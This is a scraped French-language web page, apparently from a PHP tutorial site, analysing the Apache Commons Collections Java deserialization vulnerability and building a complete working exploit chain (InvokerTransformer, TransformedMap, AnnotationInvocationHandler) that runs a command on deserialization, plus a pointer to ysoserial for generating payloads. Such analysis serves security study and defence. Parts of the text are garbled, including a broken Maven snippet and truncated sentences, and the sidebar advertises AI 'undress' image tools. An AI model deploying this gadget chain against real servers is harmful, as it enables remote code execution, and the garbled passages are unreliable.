Table des matières
1. Introduction
2. Environnement de test
AnnotationInvocationHandler类
Maison Opération et maintenance Sécurité Exemple d'analyse de la vulnérabilité de désérialisation d'Apache Commons Collections

Exemple d'analyse de la vulnérabilité de désérialisation d'Apache Commons Collections

May 17, 2023 pm 03:10 PM
collections commons

1. Introduction

Bien que la vulnérabilité de désérialisation de ce composant ait été analysée par de nombreux articles, elle doit encore être enregistrée ici. Après tout, cela est important pour le développement des vulnérabilités de désérialisation Java.

Apache Commons Collections est une bibliothèque d'outils très couramment utilisée dans le développement d'applications Java. Elle ajoute de nombreuses structures de données puissantes, simplifie le développement d'applications Java et est devenue une norme reconnue pour que Java traite les données de collection. De nombreuses applications courantes telles que Weblogic, WebSphere, Jboss, Jenkins, etc. utilisent toutes la bibliothèque d'outils Apache Commons Collections. Lorsqu'une vulnérabilité de désérialisation se produit dans la bibliothèque d'outils, ces applications sont également affectées. raison.

2. Environnement de test

jdk1.7.0_21 + commons-collections-3.1.jar

Adresse de téléchargement de la version historique du composant Apache Commons Collections : http://archive.apache.org/dist/commons/collections/binaries /, ou utilisez la dépendance maven :



commons-collections< /groupId>
.com/frohoff/ysoserial) a déjà intégré la charge utile d'exploitation de vulnérabilité de ce composant ; lors des tests d'intrusion, il vous suffit de suivre les caractéristiques des données sérialisées Java (données commençant par rO0AB au format d'encodage hexadécimal aced ou base64) Si vous trouvez le point d'entrée de la désérialisation Java et devinez que le composant CommonsCollections peut exister sur la base de l'application Web, vous pouvez directement utiliser l'outil ysoserial pour générer directement la charge utile pour l'exploitation des vulnérabilités.

3. Analyse de vulnérabilité

Nous analysons ici la chaîne d'exploitation de vulnérabilité d'exécution de code construite à l'aide de l'interface Transformer et de plusieurs classes qui implémentent cette interface. Apache Commons Collections反序列化漏洞的示例分析

Interface Transformer

La définition de l'interface Transformer est très simple. Elle définit uniquement une méthode transform(). Selon la documentation, cette méthode est principalement utilisée pour la conversion d'objets. Il existe de nombreuses classes qui implémentent cette interface. Ici, nous utilisons principalement les trois classes d'implémentation suivantes : ConstantTransformer, InvokerTransformer et ChainedTransformer.

package org.apache.commons.collections;

public interface Transformer {
    //对象转换
    public Object transform(Object input);
}
Copier après la connexion
Classe ChainedTransformer

La classe ChainedTransformer définit un tableau Transformer[], et lors de l'implémentation de la méthode transform(), elle parcourt les éléments du tableau en séquence et appelle la méthode transform() de la classe d'implémentation Transformer correspondant à l'élément du tableau. Les objets transformateurs sont enchaînés.

public class ChainedTransformer implements Transformer, Serializable {
    private final Transformer[] iTransformers;

    ...
        
    public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
    }

    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

    ...
}
Copier après la connexion
Classe InvokerTransformer

La méthode transform() de la classe InvokerTransformer appelle principalement une méthode de l'objet paramètre entrant via le mécanisme de réflexion. Il vous suffit de définir le nom de la méthode, le type de paramètre et la valeur du paramètre lors de la construction de l'objet InvokerTransformer.

public class InvokerTransformer implements Transformer, Serializable {
    
    /** The method name to call */
    private final String iMethodName;
    /** The array of reflection parameter types */
    private final Class[] iParamTypes;
    /** The array of reflection arguments */
    private final Object[] iArgs;

    ...

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }
    //简化后的transform()方法,通过反射机制调用对象的方法
    public Object transform(Object input) {
        ...
        
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
                
        ...  
    }
}
Copier après la connexion
Classe ConstantTransformer

La classe ConstantTransformer est très simple et renvoie directement l'objet entrant.

public class ConstantTransformer implements Transformer, Serializable {
    private final Object iConstant;

    ...

    public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }
    
    public Object transform(Object input) {
        return iConstant;
    }

    ...
}
Copier après la connexion
Au vu de la situation ci-dessus, nous visons à implémenter l'exécution du code Runtime.getRuntime().exec(). Évidemment, nous devons utiliser la méthode transform() de la classe InvokerTransformer pour implémenter l'appel de réflexion. Comme indiqué ci-dessous, voici la source d'exécution du code :

package orz.vuln.poc;

import org.apache.commons.collections.functors.InvokerTransformer;

public class CommonsCollections {
	public static void main(String[] args) throws Exception {
        //通过InvokeTransformer类反射调用Runtime代码
		InvokerTransformer invoker1 = new InvokerTransformer("getMethod", 
				new Class[] {String.class, Class[].class}, 
				new Object[] {"getRuntime", null});
		InvokerTransformer invoker2 = new InvokerTransformer("invoke", 
				new Class[] {Object.class, Object[].class}, 
				new Object[] {null, null});
		InvokerTransformer invoker3 = new InvokerTransformer("exec", 
				new Class[] {String.class}, 
				new Object[] {"calc.exe"});
		invoker3.transform(invoker2.transform(invoker1.transform(Runtime.class)));
		
		/*正常反射调用Runtime代码
		Class clazz = Runtime.class;
		Method m1 = clazz.getMethod("getRuntime", null);
		Method m2 = clazz.getMethod("exec", String.class);
		m2.invoke(m1.invoke(clazz, null), "calc.exe");
		*/
	}
}
Copier après la connexion

En allant plus loin, nous avons constaté que nous pouvons utiliser la méthode transform() dans la classe ChainedTransformer au lieu d'invocer3.transform(invoker2.transform(invoker1.transform(Runtime.class ))), Autrement dit, initialisez les multiples objets InvokerTransformer ci-dessus dans des tableaux Transformer[] et utilisez Runtime.class pour initialiser l'objet de classe ConstantTransformer De cette façon, vous pouvez construire une chaîne d'appels Transformer qui peut déclencher l'exécution de code à l'aide de n'importe quel objet. :

package orz.vuln.poc;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class CommonsCollections {
	public static void main(String[] args) throws Exception {
		Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", 
						new Class[] {String.class, Class[].class},
						new Object[] {"getRuntime", null}),
				new InvokerTransformer("invoke", 
						new Class[] {Object.class, Object[].class}, 
						new Object[] {null, null}),
				new InvokerTransformer("exec",
						new Class[] {String.class},
						new Object[] {"calc.exe"})
		};
		
		Transformer chainedTransformer = new ChainedTransformer(transformers);
		chainedTransformer.transform("foo");
	}
}
Copier après la connexion
Ensuite, nous espérons que la désérialisation déclenchera l'appel à la méthode transform() de l'objet Transformer pour atteindre l'objectif d'exécution de code.

Classe TransformedMap

Apache Commons Collections définit une classe TransformedMap pour effectuer une transformation sur la carte. La classe est instanciée en appelant la méthode decor(), comme indiqué ci-dessous :

Et dans cette classe, il y a aussi un. Méthode checkSetValue(), dans laquelle la méthode transform() d'appel de l'objet Transformer est implémentée ; selon la description de la méthode, la méthode checkSetValue() sera appelée lorsque la méthode setValue() est appelée :

Apache Commons Collections反序列化漏洞的示例分析

Par conséquent, notre idée est d'initialiser l'objet TransformedMap en utilisant l'objet Map et l'objet Transformer malveillant construit, puis d'appeler la méthode setValue() pour modifier la valeur de l'objet Map. Le code est le suivant :

package orz.vuln.poc;

import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class CommonsCollections {
	public static void main(String[] args) throws Exception {
		Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", 
						new Class[] {String.class, Class[].class},
						new Object[] {"getRuntime", null}),
				new InvokerTransformer("invoke", 
						new Class[] {Object.class, Object[].class}, 
						new Object[] {null, null}),
				new InvokerTransformer("exec",
						new Class[] {String.class},
						new Object[] {"calc.exe"})
		};
		
		Transformer chainedTransformer = new ChainedTransformer(transformers);
		//chainedTransformer.transform("foo");
		
		Map map = new HashMap();
		map.put("foo", "bar");
		Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
		Map.Entry entry = (Map.Entry)transformedMap.entrySet().iterator().next();
		entry.setValue("test");
	}
}
Copier après la connexion

Continuez à chercher. l'exécution de la méthode setValue() déclenchée par la désérialisation. La place a finalement été trouvée dans la méthode readObject() de la classe AnnotationInvocationHandler. Apache Commons Collections反序列化漏洞的示例分析

AnnotationInvocationHandler类

AnnotationInvocationHandler类的readObject()方法如下所示:

Apache Commons Collections反序列化漏洞的示例分析

由于该类不提供公开的构造方法进行初始化,所以,我们通过反射调用该类的构造方法,并使用恶意的TransformedMap对象进行初始化,就可以生成攻击payload。在执行entry.setValue()方法之前,需要满足一个判断条件

Apache Commons Collections反序列化漏洞的示例分析

根据代码溯源可知,clazz变量是一个注解子类对象的属性值,如果要满足clazz变量不为null的话,在Class clazz=map.get(str)中则需要满足str是我们使用的注解类的属性;在漏洞利用代码中我们使用了java.lang.annotation.Target注解,而该注解只有一个属性value,因此我们在map.put()时,需要保证key的值是value。

Apache Commons Collections反序列化漏洞的示例分析

最终,完整漏洞利用代码如下:

package orz.vuln.poc;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class CommonsCollections {
	public static void main(String[] args) throws Exception {
		
		Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", 
						new Class[] {String.class, Class[].class},
						new Object[] {"getRuntime", null}),
				new InvokerTransformer("invoke", 
						new Class[] {Object.class, Object[].class}, 
						new Object[] {null, null}),
				new InvokerTransformer("exec",
						new Class[] {String.class},
						new Object[] {"calc.exe"})
		};
		
		Transformer chainedTransformer = new ChainedTransformer(transformers);
		//chainedTransformer.transform("foo");
		
		Map map = new HashMap();
		map.put("value", "bar");//由于使用java.lang.annotation.Target,此处key值必须为value
		Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
		//Map.Entry entry = (Map.Entry)transformedMap.entrySet().iterator().next();
		//entry.setValue("test");
		
		Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
		Constructor ctor = clazz.getDeclaredConstructor(Class.class, Map.class);
		ctor.setAccessible(true);
		Object instance = ctor.newInstance(Target.class, transformedMap);
		
		FileOutputStream fos = new FileOutputStream("D:/commonscollections.ser");
		ObjectOutputStream oos = new ObjectOutputStream(fos);
		oos.writeObject(instance);
		oos.close();
		fos.close();
		
		FileInputStream fis = new FileInputStream("D:/commonscollections.ser");
		ObjectInputStream ois = new ObjectInputStream(fis);
		ois.readObject();
		ois.close();
		fis.close();
	}
}
Copier après la connexion

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn

Outils d'IA chauds

Undresser.AI Undress

Undresser.AI Undress

Application basée sur l'IA pour créer des photos de nu réalistes

AI Clothes Remover

AI Clothes Remover

Outil d'IA en ligne pour supprimer les vêtements des photos.

Undress AI Tool

Undress AI Tool

Images de déshabillage gratuites

Clothoff.io

Clothoff.io

Dissolvant de vêtements AI

AI Hentai Generator

AI Hentai Generator

Générez AI Hentai gratuitement.

Outils chauds

Bloc-notes++7.3.1

Bloc-notes++7.3.1

Éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise

SublimeText3 version chinoise

Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1

Envoyer Studio 13.0.1

Puissant environnement de développement intégré PHP

Dreamweaver CS6

Dreamweaver CS6

Outils de développement Web visuel

SublimeText3 version Mac

SublimeText3 version Mac

Logiciel d'édition de code au niveau de Dieu (SublimeText3)

Java utilise la fonction Frequency() de la classe Collections pour calculer le nombre de fois qu'un élément spécifié apparaît dans une collection. Java utilise la fonction Frequency() de la classe Collections pour calculer le nombre de fois qu'un élément spécifié apparaît dans une collection. Jul 24, 2023 pm 09:48 PM

Java utilise la fonction Frequency() de la classe Collections pour calculer le nombre d'occurrences d'un élément spécifié dans une collection. En programmation Java, la classe Collections est une classe utilitaire qui contient de nombreuses méthodes statiques pour opérer sur les collections. L'une d'elles est la fonction Frequency(), qui compte le nombre d'occurrences d'un élément spécifié dans une collection. Cette fonction est très simple et facile à utiliser, offrant commodité et flexibilité aux développeurs Java. Vous trouverez ci-dessous un exemple de code montrant comment utiliser

Java utilise la fonction binaireSearch() de la classe Collections pour effectuer une recherche binaire dans une collection ordonnée. Java utilise la fonction binaireSearch() de la classe Collections pour effectuer une recherche binaire dans une collection ordonnée. Jul 27, 2023 am 08:58 AM

Java utilise la fonction binaireSearch() de la classe Collections pour effectuer une recherche binaire dans une collection ordonnée. La recherche binaire est un algorithme efficace pour rechercher des éléments spécifiques dans une collection ordonnée. En Java, nous pouvons utiliser la fonction binaireSearch() de la classe Collections pour implémenter la recherche binaire. Cet article explique comment utiliser la fonction binaireSearch() pour effectuer une recherche dans une collection ordonnée et fournit des exemples de code spécifiques. L'idée de base de l'algorithme de recherche binaire

Java utilise la fonction shuffle() de la classe Collections pour perturber l'ordre des éléments de la collection. Java utilise la fonction shuffle() de la classe Collections pour perturber l'ordre des éléments de la collection. Jul 24, 2023 pm 10:25 PM

Java utilise la fonction shuffle() de la classe Collections pour perturber l'ordre des éléments dans la collection. Dans le langage de programmation Java, la classe Collections est une classe d'outils qui fournit diverses méthodes statiques pour gérer les collections. L'une d'elles est la fonction shuffle(), qui peut être utilisée pour modifier l'ordre des éléments dans une collection. Cet article montre comment utiliser cette fonction et fournit des exemples de code correspondants. Tout d’abord, nous devons importer la classe Collections dans le package java.util,

Java utilise la fonction sort() de la classe Collections pour trier les collections Java utilise la fonction sort() de la classe Collections pour trier les collections Jul 24, 2023 pm 05:01 PM

Java utilise la fonction sort() de la classe Collections pour trier les collections. En Java, nous avons souvent besoin de trier les collections. La classe Collections fournit une fonction sort() qui permet de trier facilement les collections. Cet article explique comment utiliser la fonction sort() de la classe Collections pour trier les collections, avec des exemples de code. Tout d’abord, nous devons importer le package java.util pour utiliser la classe Collections. lutin

Java utilise la fonction max() de la classe Collections pour obtenir la valeur maximale de la collection Java utilise la fonction max() de la classe Collections pour obtenir la valeur maximale de la collection Jul 24, 2023 am 10:41 AM

Java utilise la fonction max() de la classe Collections pour obtenir la valeur maximale d'une collection. En programmation Java, nous avons souvent besoin d'obtenir la valeur maximale d'une collection. Afin de simplifier ce processus et d'améliorer la lisibilité et l'efficacité du code, Java fournit la fonction max() de la classe Collections. Cette fonction nous aide à trouver facilement la valeur maximale dans l’ensemble. Cet article explique comment utiliser la fonction max() de la classe Collections, avec des exemples de code correspondants. Coll.

Exemple d'analyse de la vulnérabilité de désérialisation d'Apache Commons Collections Exemple d'analyse de la vulnérabilité de désérialisation d'Apache Commons Collections May 17, 2023 pm 03:10 PM

1. Introduction Bien qu'il existe de nombreux articles sur Internet qui analysent la vulnérabilité de désérialisation de ce composant, je l'enregistre toujours ici. Après tout, cela est important pour le développement des vulnérabilités de désérialisation Java. Apache Commons Collections est une bibliothèque d'outils très couramment utilisée dans le développement d'applications Java. Elle ajoute de nombreuses structures de données puissantes, simplifie le développement d'applications Java et est devenue une norme reconnue pour Java pour traiter les données de collection. De nombreuses applications courantes telles que Weblogic, WebSphere, Jboss, Jenkins, etc. utilisent toutes la bibliothèque d'outils Apache Commons Collections. Lorsqu'une vulnérabilité de désérialisation se produit dans la bibliothèque d'outils, cela se produit.

Comment utiliser le module collections pour les opérations avancées de structure de données dans Python 2.x Comment utiliser le module collections pour les opérations avancées de structure de données dans Python 2.x Jul 30, 2023 am 11:36 AM

Comment utiliser le module collections pour les opérations avancées de structure de données dans Python 2.x Introduction : Dans la bibliothèque standard de Python, le module collections fournit des structures de données avancées qui peuvent faciliter diverses opérations. Cet article présentera plusieurs structures de données principalement fournies par le module collections et donnera des exemples de code pertinents. 1. CounterCounter est un outil de comptage simple et puissant qui peut être utilisé pour compter chaque élément d'un objet itérable.

Développement Laravel : Comment utiliser Laravel Collections pour manipuler les données de collection ? Développement Laravel : Comment utiliser Laravel Collections pour manipuler les données de collection ? Jun 14, 2023 am 10:49 AM

Développement Laravel : Comment utiliser LaravelCollections pour manipuler les données de collection ? Dans le développement Laravel, les collections sont un outil très puissant et pratique. Les développeurs peuvent utiliser LaravelCollections pour manipuler et traiter facilement les données de collection. Dans cet article, nous présenterons comment utiliser LaravelCollections pour manipuler les données de collection. 1. Qu'est-ce qu'une collection ?

See all articles